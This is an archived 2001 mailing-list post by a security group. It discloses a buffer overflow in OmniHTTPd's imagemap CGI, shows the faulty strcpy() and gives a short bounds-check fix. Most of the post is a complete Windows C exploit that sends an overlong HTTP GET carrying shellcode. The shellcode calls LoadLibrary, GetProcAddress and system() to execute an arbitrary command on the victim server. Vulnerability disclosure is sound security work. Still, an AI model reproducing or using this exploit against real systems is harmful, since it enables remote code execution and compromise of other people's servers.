Hello
imagemap CGI which is distributed with OmniHTTPd 1.01 and Pro2.04
has a buffer overflow bug, I coded an exploit which can execute
any command on the victim host.
An C source code of imagemap CGI is included with OmniHTTPd, this
problem can be avoided by the addition of appropriate bound checking
code.
void main(int argc, char **argv)
{
----------- omit ----------
char OutString[100];
----------- omit ----------
if(argc >= 2) {
//
// extract x & y from passed values
//
strcpy(OutString, argv[1]);
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Buffer overflow caused by this strcpy().
This overflow can be avoided if you put the following code before
strcpy().
if (strlen(argv[1])>99) exit(0);
------ ex_imagemap.c for Windows -------------
/*=============================================================================
Imagemap 1.00.00 CGI Exploit (Distributed with OmniHTTPd 1.01 and Pro2.04)
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (shadowpenguinat_private)
=============================================================================
*/
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock.h>
#define MAXBUF 2000
#define RETADR 348
#define JMPADR 344
#define HTTP_PORT 80
unsigned int mems[]={
0xBFB50000, 0xBFB72FFF, 0xBFDE0000, 0xBFDE5FFF,
0xBFE00000, 0xBFE0FFFF, 0xBFE30000, 0xBFE42FFF,
0xBFE80000, 0xBFE85FFF, 0xBFE90000, 0xBFE95FFF,
0xBFEA0000, 0xBFF1EFFF, 0xBFF20000, 0xBFF46FFF,
0xBFF50000, 0xBFF60FFF, 0xBFF70000, 0xBFFC5FFF,
0xBFFC9000, 0xBFFE2FFF,
0,0};
unsigned char exploit_code[200]={
0xEB,0x32,0x5B,0x53,0x32,0xE4,0x83,0xC3,
0x0B,0x4B,0x88,0x23,0xB8,0x50,0x77,0xF7,
0xBF,0xFF,0xD0,0x43,0x53,0x50,0x32,0xE4,
0x83,0xC3,0x06,0x88,0x23,0xB8,0x28,0x6E,
0xF7,0xBF,0xFF,0xD0,0x8B,0xF0,0x43,0x53,
0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,
0xD6,0x90,0xEB,0xFD,0xE8,0xC9,0xFF,0xFF,
0xFF,0x00
};
unsigned char cmdbuf[200]="msvcrt.dll.system.welcome.exe";
unsigned int search_mem(unsigned char *st,unsigned char *ed,
unsigned char c1,unsigned char c2)
{
unsigned char *p;
unsigned int adr;
for (p=st;p<ed;p++)
if (*p==c1 && *(p+1)==c2){
adr=(unsigned int)p;
if ((adr&0xff)==0) continue;
if (((adr>>8)&0xff)==0) continue;
if (((adr>>16)&0xff)==0) continue;
if (((adr>>24)&0xff)==0) continue;
return(adr);
}
return(0);
}
main(int argc,char *argv[])
{
SOCKET sock;
SOCKADDR_IN addr;
WSADATA wsa;
WORD wVersionRequested;
unsigned int i,ip,p1,p2;
static unsigned char buf[MAXBUF],packetbuf[MAXBUF+1000];
struct hostent *hs;
if (argc<2){
printf("usage: %s VictimHost\n",argv[0]); return -1;
}
wVersionRequested = MAKEWORD( 2, 0 );
if (WSAStartup(wVersionRequested , &wsa)!=0){
printf("Winsock Initialization failed.\n"); return -1;
}
if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){
printf("Can not create socket.\n"); return -1;
}
addr.sin_family = AF_INET;
addr.sin_port = htons((u_short)HTTP_PORT);
if ((addr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if ((hs=gethostbyname(argv[1]))==NULL){
printf("Can not resolve specified host.\n"); return -1;
}
addr.sin_family = hs->h_addrtype;
memcpy((void *)&addr.sin_addr.s_addr,hs->h_addr,hs->h_length);
}
if (connect(sock,(LPSOCKADDR)&addr,sizeof(addr))==SOCKET_ERROR){
printf("Can not connect to specified host.\n"); return -1;
}
memset(buf,0x90,MAXBUF); buf[MAXBUF]=0;
for (i=0;;i+=2){
if (mems[i]==0) return FALSE;
if ((ip=search_mem((unsigned char *)mems[i],
(unsigned char *)mems[i+1],0xff,0xe3))!=0) break;
}
buf[RETADR ]=ip&0xff;
buf[RETADR+1]=(ip>>8)&0xff;
buf[RETADR+2]=(ip>>16)&0xff;
buf[RETADR+3]=(ip>>24)&0xff;
buf[JMPADR ]=0xeb;
buf[JMPADR+1]=0x06;
strcat(exploit_code,cmdbuf);
p1=(unsigned int)LoadLibrary;
p2=(unsigned int)GetProcAddress;
exploit_code[0x0d]=p1&0xff;
exploit_code[0x0e]=(p1>>8)&0xff;
exploit_code[0x0f]=(p1>>16)&0xff;
exploit_code[0x10]=(p1>>24)&0xff;
exploit_code[0x1e]=p2&0xff;
exploit_code[0x1f]=(p2>>8)&0xff;
exploit_code[0x20]=(p2>>16)&0xff;
exploit_code[0x21]=(p2>>24)&0xff;
memcpy(buf+RETADR+4,exploit_code,strlen(exploit_code));
sprintf(packetbuf,"GET /cgi-bin/imagemap.exe?%s\r\n\r\n",buf);
send(sock,packetbuf,strlen(packetbuf),0);
closesocket(sock);
printf("Done.\n");
return FALSE;
}
-----
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Webmaster / UNYUN (shadowpenguinat_private)
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:08:30 PDT